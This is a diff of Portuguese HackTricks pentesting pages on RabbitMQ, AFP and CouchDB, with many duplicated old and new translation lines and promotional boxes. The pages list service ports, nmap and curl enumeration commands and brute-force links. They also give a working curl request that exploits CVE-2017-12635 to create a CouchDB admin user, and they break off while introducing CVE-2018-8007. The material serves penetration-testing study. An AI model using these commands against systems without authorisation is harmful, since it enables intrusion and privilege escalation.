De [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
> **RabbitMQ** é um **software de fila de mensagens** também conhecido como um _corretor de mensagens_ ou _gerenciador de filas_. Simplificando; é um software onde filas são definidas, às quais as aplicações se conectam para transferir uma mensagem ou mensagens.\
> Uma **mensagem pode incluir qualquer tipo de informação**. Poderia, por exemplo, ter informações sobre um processo ou tarefa que deve iniciar em outra aplicação (que poderia até estar em outro servidor), ou poderia ser apenas uma mensagem de texto simples. O software do gerenciador de filas armazena as mensagens até que uma aplicação receptora se conecte e retire uma mensagem da fila. A aplicação receptora então processa a mensagem.\
> **RabbitMQ** é um **software de enfileiramento de mensagens** também conhecido como _broker de mensagens_ ou _gerenciador de filas._ Simplificando; é um software onde filas são definidas, às quais as aplicações se conectam para transferir uma mensagem ou mensagens.\
> Uma **mensagem pode incluir qualquer tipo de informação**. Poderia, por exemplo, ter informações sobre um processo ou tarefa que deve começar em outra aplicação (que poderia até estar em outro servidor), ou poderia ser apenas uma simples mensagem de texto. O software gerenciador de filas armazena as mensagens até que uma aplicação receptora se conecte e retire uma mensagem da fila. A aplicação receptora então processa a mensagem.\
Definição de .
**Porta padrão**: 5672,5671
@ -58,40 +59,41 @@ PORT STATE SERVICE VERSION
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
```
### Ataque de Força Bruta
### Brute Force
* [**Ataque de Força Bruta no Protocolo AMQP**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**Ataque de Força Bruta no Protocolo STOMP**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
## Outras portas do RabbitMQ
Em [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) você pode encontrar que o **rabbitmq usa várias portas**:
Em [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) você pode encontrar que **rabbitmq usa várias portas**:
* **1883, 8883**: ([clientes MQTT](http://mqtt.org) sem e com TLS, se o [plugin MQTT](https://www.rabbitmq.com/mqtt.html) estiver habilitado. [**Saiba mais sobre como fazer pentest no MQTT aqui**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, um serviço de descoberta de pares usado por nós RabbitMQ e ferramentas CLI. [**Saiba mais sobre como fazer pentest neste serviço aqui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: usadas por clientes AMQP 0-9-1 e 1.0 sem e com TLS
* **15672**: clientes de [API HTTP](https://www.rabbitmq.com/management.html), [interface de gerenciamento](https://www.rabbitmq.com/management.html) e [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (apenas se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado). [**Saiba mais sobre como fazer pentest neste serviço aqui**](15672-pentesting-rabbitmq-management.md).
* 15674: clientes STOMP-over-WebSockets (apenas se o [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) estiver habilitado)
* 15675: clientes MQTT-over-WebSockets (apenas se o [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) estiver habilitado)
* 15692: métricas do Prometheus (apenas se o [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) estiver habilitado)
* 25672: usado para comunicação entre nós e ferramentas CLI (porta do servidor de distribuição Erlang) e é alocado a partir de uma faixa dinâmica (limitado a uma única porta por padrão, calculado como porta AMQP + 20000). A menos que conexões externas nessas portas sejam realmente necessárias (por exemplo, o cluster usa [federação](https://www.rabbitmq.com/federation.html) ou ferramentas CLI são usadas em máquinas fora da sub-rede), essas portas não devem ser expostas publicamente. Consulte o [guia de rede](https://www.rabbitmq.com/networking.html) para mais detalhes. **Apenas 9 dessas portas estão abertas na internet**.
* 35672-35682: usadas por ferramentas CLI (portas de cliente de distribuição Erlang) para comunicação com nós e são alocadas a partir de uma faixa dinâmica (calculada como porta de distribuição do servidor + 10000 a porta de distribuição do servidor + 10010). Consulte o [guia de rede](https://www.rabbitmq.com/networking.html) para mais detalhes.
* **1883, 8883**: ([clientes MQTT](http://mqtt.org) sem e com TLS, se o [plugin MQTT](https://www.rabbitmq.com/mqtt.html) estiver habilitado. [**Saiba mais sobre como fazer pentesting em MQTT aqui**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, um serviço de descoberta de pares usado pelos nós RabbitMQ e ferramentas CLI. [**Saiba mais sobre como fazer pentesting neste serviço aqui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: usados por clientes AMQP 0-9-1 e 1.0 sem e com TLS
* **15672**: [API HTTP](https://www.rabbitmq.com/management.html) clientes, [UI de gerenciamento](https://www.rabbitmq.com/management.html) e [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (apenas se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado). [**Saiba mais sobre como fazer pentesting neste serviço aqui**](15672-pentesting-rabbitmq-management.md).
* 15674: clientes STOMP sobre WebSockets (apenas se o [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) estiver habilitado)
* 15675: clientes MQTT sobre WebSockets (apenas se o [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) estiver habilitado)
* 15692: métricas Prometheus (apenas se o [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) estiver habilitado)
* 25672: usado para comunicação entre nós e ferramentas CLI (porta do servidor de distribuição Erlang) e é alocado de um intervalo dinâmico (limitado a uma única porta por padrão, computada como porta AMQP + 20000). A menos que conexões externas nessas portas sejam realmente necessárias (por exemplo, o cluster usa [federation](https://www.rabbitmq.com/federation.html) ou ferramentas CLI são usadas em máquinas fora da sub-rede), essas portas não devem ser expostas publicamente. Veja o [guia de rede](https://www.rabbitmq.com/networking.html) para detalhes. **Apenas 9 dessas portas abertas na internet**.
* 35672-35682: usadas por ferramentas CLI (portas de cliente de distribuição Erlang) para comunicação com nós e é alocada de um intervalo dinâmico (computada como porta de distribuição do servidor + 10000 até porta de distribuição do servidor + 10010). Veja o [guia de rede](https://www.rabbitmq.com/networking.html) para detalhes.
* 61613, 61614: [clientes STOMP](https://stomp.github.io/stomp-specification-1.2.html) sem e com TLS (apenas se o [plugin STOMP](https://www.rabbitmq.com/stomp.html) estiver habilitado). Menos de 10 dispositivos com esta porta aberta e principalmente UDP para nós DHT.
## Shodan
* `AMQP`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
# 548 - Teste de penetração no Protocolo de Compartilhamento de Arquivos da Apple (AFP)
# 548 - Pentesting Apple Filing Protocol (AFP)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
O **Protocolo de Compartilhamento de Arquivos da Apple** (**AFP**), anteriormente conhecido como Protocolo de Compartilhamento de Arquivos AppleTalk, é um protocolo de rede especializado incluído no **Serviço de Arquivos da Apple** (**AFS**). Ele é projetado para fornecer serviços de arquivos para macOS e o Mac OS clássico. O AFP se destaca por suportar nomes de arquivos Unicode, permissões POSIX e listas de controle de acesso, bifurcações de recursos, atributos estendidos nomeados e sofisticados mecanismos de bloqueio de arquivos. Era o principal protocolo para serviços de arquivos no Mac OS 9 e versões anteriores.
O **Apple Filing Protocol** (**AFP**), anteriormente conhecido como AppleTalk Filing Protocol, é um protocolo de rede especializado incluído dentro do **Apple File Service** (**AFS**). Ele é projetado para fornecer serviços de arquivos para macOS e o clássico Mac OS. O AFP se destaca por suportar nomes de arquivos em Unicode, permissões POSIX e listas de controle de acesso, forks de recursos, atributos estendidos nomeados e mecanismos sofisticados de bloqueio de arquivos. Foi o principal protocolo para serviços de arquivos no Mac OS 9 e versões anteriores.
**Porta Padrão:** 548
```bash
@ -34,22 +35,23 @@ nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
**Scripts e Suas Descrições:**
- **afp-ls**: Este script é utilizado para listar os volumes e arquivos AFP disponíveis.
- **afp-path-vuln**: Lista todos os volumes e arquivos AFP, destacando vulnerabilidades potenciais.
- **afp-serverinfo**: Fornece informações detalhadas sobre o servidor AFP.
- **afp-showmount**: Lista os compartilhamentos AFP disponíveis juntamente com suas ACLs respectivas.
- **afp-path-vuln**: Ele lista todos os volumes e arquivos AFP, destacando potenciais vulnerabilidades.
- **afp-serverinfo**: Isso fornece informações detalhadas sobre o servidor AFP.
- **afp-showmount**: Ele lista os compartilhamentos AFP disponíveis junto com suas respectivas ACLs.
### [**Força Bruta**](../generic-methodologies-and-resources/brute-force.md#afp)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 5984,6984 - Testando a segurança do CouchDB
# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Informações Básicas**
**CouchDB** é um banco de dados **orientado a documentos** versátil e poderoso que organiza dados usando uma estrutura de **mapa chave-valor** dentro de cada **documento**. Campos dentro do documento podem ser representados como **pares chave/valor, listas ou mapas**, proporcionando flexibilidade no armazenamento e recuperação de dados.
**CouchDB** é um **banco de dados orientado a documentos** versátil e poderoso que organiza dados usando uma estrutura de **mapa chave-valor** dentro de cada **documento**. Os campos dentro do documento podem ser representados como **pares chave/valor, listas ou mapas**, proporcionando flexibilidade no armazenamento e recuperação de dados.
Cada **documento** armazenado no CouchDB recebe um **identificador único** (`_id`) no nível do documento. Além disso, cada modificação feita e salva no banco de dados recebe um **número de revisão** (`_rev`). Esse número de revisão permite um **rastreamento eficiente e gerenciamento de alterações**, facilitando a recuperação e sincronização de dados dentro do banco de dados.
Cada **documento** armazenado no CouchDB é atribuído a um **identificador único** (`_id`) no nível do documento. Além disso, cada modificação feita e salva no banco de dados é atribuída a um **número de revisão** (`_rev`). Esse número de revisão permite um **rastreamento e gerenciamento eficientes de mudanças**, facilitando a recuperação e sincronização de dados dentro do banco de dados.
**Porta padrão:** 5984(http), 6984(https)
```
@ -36,39 +37,39 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum
```
curl http://IP:5984/
```
Este comando emite uma solicitação GET para a instância do CouchDB instalada. A resposta deve se parecer com uma das seguintes:
Isso emite uma solicitação GET para a instância do CouchDB instalada. A resposta deve parecer algo como uma das seguintes:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Note que se ao acessar a raiz do couchdb você receber um `401 Unauthorized` com algo como isso: `{"error":"unauthorized","reason":"Authentication required."}` **você não poderá acessar** o banner ou qualquer outro endpoint.
Note que se ao acessar a raiz do couchdb você receber um `401 Unauthorized` com algo como: `{"error":"unauthorized","reason":"Authentication required."}` **você não poderá acessar** o banner ou qualquer outro endpoint.
{% endhint %}
### Enumeração de Informações
### Info Enumeration
Estes são os endpoints aos quais você pode acessar com uma solicitação **GET** e extrair algumas informações interessantes. Você pode encontrar [**mais endpoints e descrições mais detalhadas na documentação do couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
Estes são os endpoints onde você pode acessar com uma **GET** request e extrair algumas informações interessantes. Você pode encontrar [**mais endpoints e descrições mais detalhadas na documentação do couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
- **`/_active_tasks`** Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.
- **`/_all_dbs`** Retorna uma lista de todos os bancos de dados na instância do CouchDB.
- **`/_cluster_setup`** Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
- **`/_db_updates`** Retorna uma lista de todos os eventos do banco de dados na instância do CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint.
- **`/_membership`** Exibe os nós que fazem parte do cluster como `cluster_nodes`. O campo `all_nodes` exibe todos os nós que este nó conhece, incluindo aqueles que fazem parte do cluster.
- **`/_scheduler/jobs`** Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas.
- **`/_scheduler/docs`** Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino, e outras informações.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** O endpoint `/_node/{node-name}` pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar `/_node/_local` para recuperar essas informações.
- **`/_node/{node-name}/_stats`** O recurso `_stats` retorna um objeto JSON contendo as estatísticas do servidor em execução. A string literal `_local` serve como um alias para o nome do nó local, então para todos os URLs de estatísticas, `{node-name}` pode ser substituído por `_local`, para interagir com as estatísticas do nó local.
- **`/_node/{node-name}/_system`** O recurso \_system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução\_.\_ Você pode usar \_\_`_local` como {node-name} para obter informações atuais do nó.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Confirma que o servidor está funcionando, em execução e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) for `true` ou `nolb`, o endpoint retornará uma resposta 404.
- **`/_uuids`** Solicita um ou mais Identificadores Únicos Universal (UUIDs) da instância do CouchDB.
- **`/_reshard`** Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de resharding no cluster.
* **`/_active_tasks`** Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.
* **`/_all_dbs`** Retorna uma lista de todos os bancos de dados na instância CouchDB.
* **`/_cluster_setup`** Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
* **`/_db_updates`** Retorna uma lista de todos os eventos de banco de dados na instância CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint.
* **`/_membership`** Exibe os nós que fazem parte do cluster como `cluster_nodes`. O campo `all_nodes` exibe todos os nós que este nó conhece, incluindo os que fazem parte do cluster.
* **`/_scheduler/jobs`** Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas.
* **`/_scheduler/docs`** Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino, e outras informações.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** O endpoint `/_node/{node-name}` pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar `/_node/_local` para recuperar essa informação.
* **`/_node/{node-name}/_stats`** O recurso `_stats` retorna um objeto JSON contendo as estatísticas do servidor em execução. A string literal `_local` serve como um alias para o nome do nó local, então para todas as URLs de stats, `{node-name}` pode ser substituído por `_local`, para interagir com as estatísticas do nó local.
* **`/_node/{node-name}/_system`** O recurso \_system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução\_.\_ Você pode usar \_\_`_local` como {node-name} para obter informações do nó atual.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Confirma que o servidor está ativo, em execução e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) for `true` ou `nolb`, o endpoint retornará uma resposta 404.
* **`/_uuids`** Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância CouchDB.
* **`/_reshard`** Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de redistribuição no cluster.
Mais informações interessantes podem ser extraídas conforme explicado aqui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista de Bancos de Dados**
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
@ -76,13 +77,13 @@ Se essa solicitação **responder com um 401 não autorizado**, então você pre
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Para encontrar Credenciais válidas você poderia **tentar** [**forçar a barra no serviço**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Para encontrar Credenciais válidas, você poderia **tentar** [**fazer brute force no serviço**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este é um **exemplo** de uma **resposta** do couchdb quando você tem **privilégios suficientes** para listar bancos de dados (É apenas uma lista de bancos de dados):
Este é um **exemplo** de uma **resposta** do couchdb quando você tem **privilegios suficientes** para listar bancos de dados (É apenas uma lista de dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informações do Banco de Dados
### Database Info
Você pode obter algumas informações do banco de dados (como número de arquivos e tamanhos) acessando o nome do banco de dados:
```bash
@ -117,38 +118,38 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalação de Privilégios no CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Graças às diferenças entre os analisadores JSON de Erlang e JavaScript, você poderia **criar um usuário administrador** com as credenciais `hacktricks:hacktricks` com a seguinte solicitação:
Graças às diferenças entre os analisadores JSON do Erlang e do JavaScript, você poderia **criar um usuário administrador** com as credenciais `hacktricks:hacktricks` com a seguinte solicitação:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Mais informações sobre essa vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
[**Mais informações sobre esta vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## RCE do CouchDB
## CouchDB RCE
### **Visão geral da segurança do Cookie Erlang**
### **Visão Geral da Segurança do Cookie Erlang**
Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Na documentação do CouchDB, especificamente na seção sobre configuração de cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), é discutido o uso de portas pelo CouchDB em modo de cluster. É mencionado que, assim como no modo autônomo, a porta `5984` é usada. Além disso, a porta `5986` é para APIs locais do nó e, importante, Erlang requer a porta TCP `4369` para o Erlang Port Mapper Daemon (EPMD), facilitando a comunicação do nó dentro de um cluster Erlang. Essa configuração forma uma rede onde cada nó está interligado com todos os outros nós.
Na documentação do CouchDB, especificamente na seção sobre configuração de cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), discute-se o uso de portas pelo CouchDB em modo de cluster. É mencionado que, assim como no modo autônomo, a porta `5984` é utilizada. Além disso, a porta `5986` é para APIs locais do nó e, o mais importante, o Erlang requer a porta TCP `4369` para o Daemon do Mapeador de Portas Erlang (EPMD), facilitando a comunicação entre nós dentro de um cluster Erlang. Essa configuração forma uma rede onde cada nó está interligado a todos os outros nós.
Um aviso de segurança crucial é destacado em relação à porta `4369`. Se essa porta for acessível pela Internet ou por qualquer rede não confiável, a segurança do sistema depende fortemente de um identificador único conhecido como "cookie". Esse cookie atua como uma salvaguarda. Por exemplo, em uma lista de processos, pode-se observar um cookie chamado "monster", indicando seu papel operacional no framework de segurança do sistema.
Um aviso de segurança crucial é destacado em relação à porta `4369`. Se esta porta for tornada acessível pela Internet ou por qualquer rede não confiável, a segurança do sistema depende fortemente de um identificador único conhecido como "cookie." Este cookie atua como uma salvaguarda. Por exemplo, em uma lista de processos dada, o cookie nomeado "monster" pode ser observado, indicando seu papel operacional na estrutura de segurança do sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Para aqueles interessados em entender como este "cookie" pode ser explorado para Execução Remota de Código (RCE) no contexto de sistemas Erlang, uma seção dedicada está disponível para leitura adicional. Ela detalha as metodologias para alavancar cookies Erlang de maneiras não autorizadas para obter controle sobre sistemas. Você pode **[explorar o guia detalhado sobre abuso de cookies Erlang para RCE aqui](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
Para aqueles interessados em entender como esse "cookie" pode ser explorado para Execução Remota de Código (RCE) no contexto de sistemas Erlang, uma seção dedicada está disponível para leitura adicional. Ela detalha as metodologias para aproveitar cookies Erlang de maneiras não autorizadas para obter controle sobre os sistemas. Você pode **[explorar o guia detalhado sobre o abuso de cookies Erlang para RCE aqui](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Explorando CVE-2018-8007 através da modificação do local.ini**
### **Explorando CVE-2018-8007 através da Modificação de local.ini**
Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
